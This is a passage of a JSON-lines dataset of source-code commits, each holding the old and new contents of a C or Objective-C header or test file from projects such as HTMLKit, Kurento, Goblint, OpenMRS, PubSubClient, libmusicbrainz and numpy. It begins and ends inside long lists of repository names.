coa,bencochran\/ReactiveCocoa,almassapargali\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,isghe\/ReactiveCocoa,buildo\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,mtxs007\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,yizzuide\/ReactiveCocoa,sandyway\/ReactiveCocoa,jaylib\/ReactiveCocoa,KJin99\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,libiao88\/ReactiveCocoa,AlanJN\/ReactiveCocoa,eliperkins\/ReactiveCocoa,esttorhe\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,terry408911\/ReactiveCocoa,shaohung001\/ReactiveCocoa,jaylib\/ReactiveCocoa,bencochran\/ReactiveCocoa,andersio\/ReactiveCocoa,bscarano\/ReactiveCocoa,imkerberos\/ReactiveCocoa,bencochran\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,cogddo\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,hilllinux\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,hbucius\/ReactiveCocoa,add715\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,loupman\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,Ricowere\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,yonekawa\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,Ethan89\/ReactiveCocoa,vincentiss\/ReactiveCocoa,jeelun\/ReactiveCocoa,kiurentu\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,fanghao085\/ReactiveCocoa,cogddo\/ReactiveCocoa,fanghao085\/ReactiveCocoa,hilllinux\/ReactiveCocoa,tiger8888\/ReactiveCocoa,rpowelll\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,mtxs007\/ReactiveCocoa,CQXfly\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,tzongw\/ReactiveCocoa,jaylib\/ReactiveCocoa,brightcove\/ReactiveCocoa,gabemdev\/ReactiveCocoa,on99\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,longv2go\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,qq644531343\/ReactiveCocoa,pzw224\/ReactiveCocoa,ikesyo\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,chao95957\/ReactiveCocoa,tonyli508\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,liufeigit\/ReactiveCocoa,Eveian\/ReactiveCocoa,hbucius\/ReactiveCocoa,xumaolin\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,Carthage\/ReactiveCocoa,Remitly\/ReactiveCocoa,kaylio\/ReactiveCocoa,Ethan89\/ReactiveCocoa,tornade0913\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,towik\/ReactiveCocoa,smilypeda\/ReactiveCocoa,tornade0913\/ReactiveCocoa,leelili\/ReactiveCocoa,sandyway\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,loupman\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,terry408911\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,dskatz22\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,terry408911\/ReactiveCocoa,esttorhe\/ReactiveCocoa,mattpetters\/ReactiveCocoa,tipbit\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,add715\/ReactiveCocoa,smilypeda\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,tzongw\/ReactiveCocoa,yizzuide\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,Carthage\/ReactiveCocoa,Farteen\/ReactiveCocoa,vincentiss\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,huiping192\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,fhchina\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,jackywpy\/ReactiveCocoa,bscarano\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,bscarano\/ReactiveCocoa,gabemdev\/ReactiveCocoa,loupman\/ReactiveCocoa,xulibao\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,eliperkins\/ReactiveCocoa,howandhao\/ReactiveCocoa,200895045\/ReactiveCocoa,tornade0913\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,Pikdays\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,stevielu\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,cnbin\/ReactiveCocoa,ceekayel\/ReactiveCocoa,ztchena\/ReactiveCocoa,sujeking\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,victorlin\/ReactiveCocoa,dullgrass\/ReactiveCocoa,jeelun\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,hj3938\/ReactiveCocoa,koamac\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,fhchina\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,yonekawa\/ReactiveCocoa,goodheart\/ReactiveCocoa,eyu1988\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,cstars135\/ReactiveCocoa,DreamHill\/ReactiveCocoa,stevielu\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,yonekawa\/ReactiveCocoa,isghe\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,brasbug\/ReactiveCocoa,longv2go\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,335g\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,howandhao\/ReactiveCocoa,lixar\/ReactiveCocoa,rpowelll\/ReactiveCocoa,icepy\/ReactiveCocoa,vincentiss\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,brasbug\/ReactiveCocoa,goodheart\/ReactiveCocoa,paulyoung\/ReactiveCocoa,200895045\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,clg0118\/ReactiveCocoa,jackywpy\/ReactiveCocoa,esttorhe\/ReactiveCocoa,towik\/ReactiveCocoa,fhchina\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,KJin99\/ReactiveCocoa,bensonday\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,jam891\/ReactiveCocoa,tiger8888\/ReactiveCocoa,tonyli508\/ReactiveCocoa,zzzworm\/ReactiveCocoa,JackLian\/ReactiveCocoa,fanghao085\/ReactiveCocoa,rpowelll\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,WEIBP\/ReactiveCocoa,llb1119\/test,itschaitanya\/ReactiveCocoa,shaohung001\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,jianwoo\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,libiao88\/ReactiveCocoa,buildo\/ReactiveCocoa,zzzworm\/ReactiveCocoa,shaohung001\/ReactiveCocoa,gengjf\/ReactiveCocoa,mattpetters\/ReactiveCocoa,icepy\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,jam891\/ReactiveCocoa,Pingco\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,dullgrass\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,lixar\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,Eveian\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,windgo\/ReactiveCocoa,cnbin\/ReactiveCocoa,sugar2010\/ReactiveCocoa,kaylio\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,Ricowere\/ReactiveCocoa,j364960953\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,gengjf\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,Ethan89\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,leelili\/ReactiveCocoa,j364960953\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,wangqi211\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,chieryw\/ReactiveCocoa,yizzuide\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,brightcove\/ReactiveCocoa,sujeking\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,tonyli508\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,swizzlr\/ReactiveCocoa,gengjf\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,SuPair\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,natestedman\/ReactiveCocoa,DreamHill\/ReactiveCocoa,mxxiv\/ReactiveCocoa,mattpetters\/ReactiveCocoa,ohwutup\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,huiping192\/ReactiveCocoa,j364960953\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,sandyway\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,hj3938\/ReactiveCocoa,stupidfive\/ReactiveCocoa,richeterre\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,JackLian\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,llb1119\/test,sugar2010\/ReactiveCocoa,chieryw\/ReactiveCocoa,liufeigit\/ReactiveCocoa,beni55\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,huiping192\/ReactiveCocoa,Remitly\/ReactiveCocoa,dz1111\/ReactiveCocoa,Ricowere\/ReactiveCocoa,kiurentu\/ReactiveCocoa,ceekayel\/ReactiveCocoa,esttorhe\/ReactiveCocoa,dullgrass\/ReactiveCocoa,ztchena\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,beni55\/ReactiveCocoa,wangqi211\/ReactiveCocoa,add715\/ReactiveCocoa,sugar2010\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,DreamHill\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,chieryw\/ReactiveCocoa,calebd\/ReactiveCocoa,AllanChen\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,stupidfive\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,sujeking\/ReactiveCocoa,xulibao\/ReactiveCocoa,jam891\/ReactiveCocoa,eyu1988\/ReactiveCocoa,jsslai\/ReactiveCocoa,SanChain\/ReactiveCocoa,leelili\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,yytong\/ReactiveCocoa,andersio\/ReactiveCocoa,imkerberos\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,SmartEncounter\/ReactiveCocoa,ikesyo\/ReactiveCocoa"}
{"commit":"6254e8a578752fb18c085c7519390b881b619745","old_file":"HTMLKit\/HTMLKit.h","new_file":"HTMLKit\/HTMLKit.h","old_contents":"\/\/\n\/\/  HTMLKit.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 15\/09\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for HTMLKit.\nextern double HTMLKitVersionNumber;\n\n\/\/! Project version string for HTMLKit.\nextern const unsigned char HTMLKitVersionString[];\n\n#import \"HTMLDOM.h\"\n#import \"HTMLParser.h\"\n#import \"HTMLKitErrorDomain.h\"\n#import \"HTMLOrderedDictionary.h\"\n\n#import \"CSSSelectors.h\"\n#import \"CSSSelectorParser.h\"\n#import \"CSSNthExpressionParser.h\"\n","new_contents":"\/\/\n\/\/  HTMLKit.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 15\/09\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for HTMLKit.\nextern double HTMLKitVersionNumber;\n\n\/\/! Project version string for HTMLKit.\nextern const unsigned char HTMLKitVersionString[];\n\n#import \"HTMLDOM.h\"\n#import \"HTMLParser.h\"\n#import \"HTMLKitErrorDomain.h\"\n#import \"HTMLOrderedDictionary.h\"\n\n#import \"CSSSelectors.h\"\n#import \"CSSSelectorParser.h\"\n#import \"CSSNthExpressionParser.h\"\n\n#import \"NSString+HTMLKit.h\"\n#import \"NSCharacterSet+HTMLKit.h\"\n","subject":"Add imports for the public categories in the umbrella header","message":"Add imports for the public categories in the umbrella header\n","lang":"C","license":"mit","repos":"iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit"}
{"commit":"d6d05c53626ccdc2495ef6b98cafef4c3c1f3729","old_file":"server\/types\/JoinableImpl.h","new_file":"server\/types\/JoinableImpl.h","old_contents":"#ifndef JOINABLE_IMPL\n#define JOINABLE_IMPL\n\n#include \"joinable_types.h\"\n#include \"types\/MediaObjectImpl.h\"\n\nusing ::com::kurento::kms::api::Joinable;\nusing ::com::kurento::kms::api::Direction;\nusing ::com::kurento::kms::api::StreamType;\n\nnamespace com { namespace kurento { namespace kms {\n\nclass JoinableImpl : public virtual Joinable, public virtual MediaObjectImpl {\npublic:\n\tJoinableImpl();\n\t~JoinableImpl() throw() {};\n\n\tstd::vector<StreamType::type> getStreams(const Joinable& joinable);\n\n\tvoid join(const JoinableImpl& to, const Direction::type direction);\n\tvoid unjoin(const JoinableImpl& to);\n\n\tvoid join(const JoinableImpl& to, const StreamType::type stream, const Direction::type direction);\n\tvoid unjoin(const JoinableImpl& to, const StreamType::type stream);\n\n\tstd::vector<Joinable> &getJoinees();\n\tstd::vector<Joinable> &getDirectionJoiness(const Direction::type direction);\n\n\tstd::vector<Joinable> &getJoinees(const StreamType::type stream);\n\tstd::vector<Joinable> &getDirectionJoiness(const StreamType::type stream, const Direction::type direction);\n};\n\n}}} \/\/ com::kurento::kms\n\n#endif \/* JOINABLE_IMPL *\/","new_contents":"#ifndef JOINABLE_IMPL\n#define JOINABLE_IMPL\n\n#include \"joinable_types.h\"\n#include \"types\/MediaObjectImpl.h\"\n\nusing ::com::kurento::kms::api::Joinable;\nusing ::com::kurento::kms::api::Direction;\nusing ::com::kurento::kms::api::StreamType;\n\nnamespace com { namespace kurento { namespace kms {\n\nclass JoinableImpl : public virtual Joinable, public virtual MediaObjectImpl {\npublic:\n\tJoinableImpl();\n\t~JoinableImpl() throw() {};\n\n\tstd::vector<StreamType::type> getStreams(const Joinable& joinable);\n\n\tvoid join(const JoinableImpl& to, const Direction::type direction);\n\tvoid unjoin(const JoinableImpl& to);\n\n\tvoid join(const JoinableImpl& to, const StreamType::type stream, const Direction::type direction);\n\tvoid unjoin(const JoinableImpl& to, const StreamType::type stream);\n\n\tstd::vector<Joinable> &getJoinees();\n\tstd::vector<Joinable> &getDirectionJoiness(const Direction::type direction);\n\n\tstd::vector<Joinable> &getJoinees(const StreamType::type stream);\n\tstd::vector<Joinable> &getDirectionJoiness(const StreamType::type stream, const Direction::type direction);\n};\n\n}}} \/\/ com::kurento::kms\n\n#endif \/* JOINABLE_IMPL *\/\n","subject":"Add new line at end of file","message":"Add new line at end of file\n","lang":"C","license":"lgpl-2.1","repos":"lulufei\/kurento-media-server,TribeMedia\/kurento-media-server,shelsonjava\/kurento-media-server,shelsonjava\/kurento-media-server,todotobe1\/kurento-media-server,Kurento\/kurento-media-server,mparis\/kurento-media-server,lulufei\/kurento-media-server,Kurento\/kurento-media-server,mparis\/kurento-media-server,TribeMedia\/kurento-media-server,todotobe1\/kurento-media-server"}
{"commit":"cecd7696fcdc00dbdcc7de1a3747c9f2801b305e","old_file":"tests\/regression\/36-apron\/96-branched-thread-creation-apron-priv.c","new_file":"tests\/regression\/36-apron\/96-branched-thread-creation-apron-priv.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] apron\nextern int __VERIFIER_nondet_int();\n\n#include <pthread.h>\n#include <assert.h>\n\nint g = 5;\nint h = 5;\npthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  return NULL;\n}\n\nint main() {\n  int r = __VERIFIER_nondet_int();\n  pthread_t id;\n\n  if (r) {\n    pthread_create(&id, NULL, t_fun, NULL);\n  }\n  else {\n    h = 10;\n  }\n  \/\/ sync join needs to publish globals also to protected\/mutex_inits like enter_multithreaded\n  \/\/ might need join strengthening to reveal unsoundness instead of going to top directly\n\n  pthread_mutex_lock(&m);\n  assert(g == h); \/\/ UNKNOWN!\n  pthread_mutex_unlock(&m);\n\n  return 0;\n}","subject":"Add Apron branched thread creation privatization test, where protected is unsound","message":"Add Apron branched thread creation privatization test, where protected is unsound\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"0ecce5926dd432110b4ae0ea3b6c7702af71d8be","old_file":"OpenMRS-iOS\/OpenMRS-iOS-Bridging-Header.h","new_file":"OpenMRS-iOS\/OpenMRS-iOS-Bridging-Header.h","old_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n#import \"OpenMRSAPIManager.h\"\n#import \"LocationListTableViewController.h\"\n#import \"UIAlertView+Blocks.h\"","new_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n#import \"OpenMRSAPIManager.h\"\n#import \"LocationListTableViewController.h\"\n#import \"UIAlertView+Blocks.h\"\n#import \"MRSHelperFunctions.h\"","subject":"Add MRSHelper functions to Bridging Header","message":"Add MRSHelper functions to Bridging Header\n","lang":"C","license":"mpl-2.0","repos":"Undo1\/openmrs-contrib-ios-client,yousefhamza\/openmrs-contrib-ios-client,Undo1\/openmrs-contrib-ios-client,yousefhamza\/openmrs-contrib-ios-client"}
{"commit":"79e60f8ed47146544da1d005776a3d1b9e672a3f","old_file":"src\/CommandLineParser.h","new_file":"src\/CommandLineParser.h","old_contents":"\/\/! \\file CommandLineParser.h\n\n#ifndef _COMMANDLINEPARSER_H\n#define _COMMANDLINEPARSER_H\n\n#include <string>\n\n\/\/! Abstract base class for parsing command line arguments\nclass CommandLineParser\n{\npublic:\n    \/*! Parses command line args and stores results internally.\n     * May throw an exception in case of error\n     * \\param argc number of arguments\n     * \\param argv arguments as passed to main\n     *\/\n    virtual void parse(int argc, char** argv) = 0;\n\n    \/*! Query whether a specific flag was set on command line.\n     * \\param flag Command line switch without leading dash\n     * \\return whether specified flag was set on command line\n     *\/\n    virtual bool hasSet(std::string flag) = 0;\n\n    \/*! get argument of switch (if available)\n     * \\param option command line switch without leading dash\n     * \\returns value as string\n    *\/\n    virtual std::string getValue(std::string option) = 0;\n\n    \/*! Print usage help\n     *\/\n    virtual void printHelp() = 0;\n};\n\n#endif \/\/ _COMMANDLINEPARSER_H\n","new_contents":"\/\/! \\file CommandLineParser.h\n\n#ifndef _COMMANDLINEPARSER_H\n#define _COMMANDLINEPARSER_H\n\n#include <string>\n\n\/\/! Abstract base class for parsing command line arguments\nclass CommandLineParser\n{\npublic:\n    virtual ~CommandLineParser() {};\n\n    \/*! Parses command line args and stores results internally.\n     * May throw an exception in case of error\n     * \\param argc number of arguments\n     * \\param argv arguments as passed to main\n     *\/\n    virtual void parse(int argc, char** argv) = 0;\n\n    \/*! Query whether a specific flag was set on command line.\n     * \\param flag Command line switch without leading dash\n     * \\return whether specified flag was set on command line\n     *\/\n    virtual bool hasSet(std::string flag) = 0;\n\n    \/*! get argument of switch (if available)\n     * \\param option command line switch without leading dash\n     * \\returns value as string\n    *\/\n    virtual std::string getValue(std::string option) = 0;\n\n    \/*! Print usage help\n     *\/\n    virtual void printHelp() = 0;\n};\n\n#endif \/\/ _COMMANDLINEPARSER_H\n","subject":"Make Command line parser d'tor virtual","message":"Make Command line parser d'tor virtual\n","lang":"C","license":"mit","repos":"dueringa\/WikiWalker"}
{"commit":"faa0634236d953e4947503a1ae2546b005106544","old_file":"src\/PubSubClient_JSON.h","new_file":"src\/PubSubClient_JSON.h","old_contents":"","new_contents":"\/*\nPubSubClient_JSON.h - ArduinoJson support for PubSubClient\nCopyright (C) 2016 Ian Tester\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n\n#pragma once\n\n#include <ArduinoJson.h>\n\nnamespace MQTT {\n  class PublishJSON : public Publish {\n  public:\n    \/\/! Publish a JSON object from the ArduinoJson library\n    \/*!\n      \\param topic Topic of the message\n      \\param payload Object of the message\n    *\/\n    PublishJSON(String topic, ArduinoJson::JsonObject& object) :\n      Publish(topic, NULL, object.measureLength() + 1)\n    {\n      _payload = new uint8_t[_payload_len];\n      if (_payload != NULL)\n\tobject.printTo((char*)_payload, _payload_len);\n    }\n\n    \/\/! Publish a JSON array from the ArduinoJson library\n    \/*!\n      \\param topic Topic of the message\n      \\param payload Array of the message\n    *\/\n    PublishJSON(String topic, ArduinoJson::JsonArray& array) :\n      Publish(topic, NULL, array.measureLength() + 1)\n    {\n      _payload = new uint8_t[_payload_len];\n      if (_payload != NULL)\n\tarray.printTo((char*)_payload, _payload_len);\n    }\n\n  };\n\n};\n","subject":"Add header file for publishing ArduinoJson objects and arrays","message":"Add header file for publishing ArduinoJson objects and arrays\n","lang":"C","license":"mit","repos":"Imroy\/pubsubclient,Imroy\/pubsubclient,Imroy\/pubsubclient"}
{"commit":"a29ba1e4518d9dc9650448d67abae39341d6364b","old_file":"test\/read_file.h","new_file":"test\/read_file.h","old_contents":"inline string\nget_file_contents(char *filename)\n{\n\tifstream file(filename, ios::in | ios::ate);\n\tif (!file.is_open())\n\t\treturn string();\n\tstreampos sz = file.tellg();\n\tfile.seekg(0, ios::beg);\n\tvector<char> v(sz);\n\tfile.read(&v[0], sz);\n\tfile.close();\n\tstring data(v.empty() ? string() : string (v.begin(), v.end()).c_str());\n\treturn data;\n}\n\n","new_contents":"inline string\nget_file_contents(const char *filename)\n{\n\tifstream file(filename, ios::in | ios::ate);\n\tif (!file.is_open())\n\t\treturn string();\n\tstreampos sz = file.tellg();\n\tfile.seekg(0, ios::beg);\n\tvector<char> v(sz);\n\tfile.read(&v[0], sz);\n\tfile.close();\n\tstring data(v.empty() ? string() : string (v.begin(), v.end()).c_str());\n\treturn data;\n}\n\n","subject":"Fix compiler warnings in the test suite","message":"Fix compiler warnings in the test suite\n","lang":"C","license":"lgpl-2.1","repos":"matthewruhland\/libmusicbrainz,sebastinas\/libmusicbrainz,matthewruhland\/libmusicbrainz,metabrainz\/libmusicbrainz,sebastinas\/libmusicbrainz,sebastinas\/libmusicbrainz,ianmcorvidae\/libmusicbrainz,metabrainz\/libmusicbrainz,matthewruhland\/libmusicbrainz,metabrainz\/libmusicbrainz,ianmcorvidae\/libmusicbrainz"}
{"commit":"7f5130a7ac41e93066f60d80203a0b8ea675c0c9","old_file":"numpy\/core\/src\/multiarray\/nditer_pywrap.h","new_file":"numpy\/core\/src\/multiarray\/nditer_pywrap.h","old_contents":"#ifndef __NEW_ITERATOR_PYWRAP_H\n#define __NEW_ITERATOR_PYWRAP_H\n\nNPY_NO_EXPORT PyObject *\nNpyIter_NestedIters(PyObject *NPY_UNUSED(self),\n                    PyObject *args, PyObject *kwds);\n\n#endif\n","new_contents":"#ifndef __NDITER_PYWRAP_H\n#define __NDITER_PYWRAP_H\n\nNPY_NO_EXPORT PyObject *\nNpyIter_NestedIters(PyObject *NPY_UNUSED(self),\n                    PyObject *args, PyObject *kwds);\n\n#endif\n","subject":"Make include flag name match file name.","message":"STY: Make include flag name match file name.\n","lang":"C","license":"bsd-3-clause","repos":"ahaldane\/numpy,stefanv\/numpy,brandon-rhodes\/numpy,dimasad\/numpy,kiwifb\/numpy,skymanaditya1\/numpy,rherault-insa\/numpy,ChristopherHogan\/numpy,MSeifert04\/numpy,rudimeier\/numpy,chiffa\/numpy,drasmuss\/numpy,Eric89GXL\/numpy,ekalosak\/numpy,endolith\/numpy,mingwpy\/numpy,rgommers\/numpy,dch312\/numpy,madphysicist\/numpy,jorisvandenbossche\/numpy,cowlicks\/numpy,nguyentu1602\/numpy,shoyer\/numpy,drasmuss\/numpy,kirillzhuravlev\/numpy,madphysicist\/numpy,seberg\/numpy,ChanderG\/numpy,argriffing\/numpy,joferkington\/numpy,mathdd\/numpy,numpy\/numpy,ahaldane\/numpy,grlee77\/numpy,mattip\/numpy,astrofrog\/numpy,endolith\/numpy,BabeNovelty\/numpy,Linkid\/numpy,rajathkumarmp\/numpy,anntzer\/numpy,grlee77\/numpy,jonathanunderwood\/numpy,ddasilva\/numpy,shoyer\/numpy,njase\/numpy,WarrenWeckesser\/numpy,mingwpy\/numpy,empeeu\/numpy,empeeu\/numpy,NextThought\/pypy-numpy,Yusa95\/numpy,ahaldane\/numpy,KaelChen\/numpy,larsmans\/numpy,ViralLeadership\/numpy,mhvk\/numpy,stuarteberg\/numpy,charris\/numpy,ssanderson\/numpy,solarjoe\/numpy,solarjoe\/numpy,bmorris3\/numpy,sigma-random\/numpy,NextThought\/pypy-numpy,sinhrks\/numpy,dwillmer\/numpy,pizzathief\/numpy,matthew-brett\/numpy,CMartelLML\/numpy,madphysicist\/numpy,jankoslavic\/numpy,rherault-insa\/numpy,simongibbons\/numpy,ddasilva\/numpy,MSeifert04\/numpy,ewmoore\/numpy,skwbc\/numpy,GaZ3ll3\/numpy,githubmlai\/numpy,yiakwy\/numpy,moreati\/numpy,bertrand-l\/numpy,NextThought\/pypy-numpy,skymanaditya1\/numpy,has2k1\/numpy,ogrisel\/numpy,SiccarPoint\/numpy,BMJHayward\/numpy,MichaelAquilina\/numpy,sigma-random\/numpy,Eric89GXL\/numpy,shoyer\/numpy,rmcgibbo\/numpy,yiakwy\/numpy,mathdd\/numpy,astrofrog\/numpy,sigma-random\/numpy,ajdawson\/numpy,sonnyhu\/numpy,Eric89GXL\/numpy,pdebuyl\/numpy,ahaldane\/numpy,Anwesh43\/numpy,rmcgibbo\/numpy,pbrod\/numpy,madphysicist\/numpy,brandon-rhodes\/numpy,ewmoore\/numpy,kirillzhuravlev\/numpy,immerrr\/numpy,BabeNovelty\/numpy,mingwpy\/numpy,felipebetancur\/numpy,bringingheavendown\/numpy,pdebuyl\/numpy,nguyentu1602\/numpy,anntzer\/numpy,dwillmer\/numpy,MaPePeR\/numpy,cowlicks\/numpy,bringingheavendown\/numpy,jankoslavic\/numpy,moreati\/numpy,WillieMaddox\/numpy,ogrisel\/numpy,ChanderG\/numpy,mwiebe\/numpy,groutr\/numpy,MaPePeR\/numpy,kirillzhuravlev\/numpy,pizzathief\/numpy,leifdenby\/numpy,jakirkham\/numpy,dwillmer\/numpy,SiccarPoint\/numpy,jschueller\/numpy,anntzer\/numpy,gmcastil\/numpy,endolith\/numpy,mwiebe\/numpy,andsor\/numpy,mortada\/numpy,AustereCuriosity\/numpy,mortada\/numpy,ChanderG\/numpy,pelson\/numpy,KaelChen\/numpy,dwf\/numpy,stuarteberg\/numpy,numpy\/numpy,bertrand-l\/numpy,dato-code\/numpy,hainm\/numpy,cjermain\/numpy,jorisvandenbossche\/numpy,SunghanKim\/numpy,solarjoe\/numpy,rhythmsosad\/numpy,naritta\/numpy,maniteja123\/numpy,argriffing\/numpy,simongibbons\/numpy,Linkid\/numpy,rhythmsosad\/numpy,brandon-rhodes\/numpy,dwf\/numpy,immerrr\/numpy,ekalosak\/numpy,ViralLeadership\/numpy,jankoslavic\/numpy,ahaldane\/numpy,jonathanunderwood\/numpy,mortada\/numpy,chiffa\/numpy,ContinuumIO\/numpy,sinhrks\/numpy,skymanaditya1\/numpy,groutr\/numpy,larsmans\/numpy,CMartelLML\/numpy,pbrod\/numpy,rajathkumarmp\/numpy,stuarteberg\/numpy,drasmuss\/numpy,jschueller\/numpy,dwf\/numpy,tacaswell\/numpy,KaelChen\/numpy,astrofrog\/numpy,ChanderG\/numpy,MaPePeR\/numpy,dimasad\/numpy,embray\/numpy,mhvk\/numpy,mattip\/numpy,kirillzhuravlev\/numpy,abalkin\/numpy,utke1\/numpy,bertrand-l\/numpy,jankoslavic\/numpy,ekalosak\/numpy,WarrenWeckesser\/numpy,tdsmith\/numpy,ajdawson\/numpy,chatcannon\/numpy,naritta\/numpy,dch312\/numpy,behzadnouri\/numpy,Anwesh43\/numpy,seberg\/numpy,mattip\/numpy,ogrisel\/numpy,BMJHayward\/numpy,kiwifb\/numpy,ekalosak\/numpy,skymanaditya1\/numpy,andsor\/numpy,trankmichael\/numpy,pizzathief\/numpy,BabeNovelty\/numpy,ChristopherHogan\/numpy,ogrisel\/numpy,nbeaver\/numpy,simongibbons\/numpy,gfyoung\/numpy,has2k1\/numpy,nbeaver\/numpy,jorisvandenbossche\/numpy,pdebuyl\/numpy,jakirkham\/numpy,GrimDerp\/numpy,abalkin\/numpy,SunghanKim\/numpy,jonathanunderwood\/numpy,grlee77\/numpy,MaPePeR\/numpy,brandon-rhodes\/numpy,cj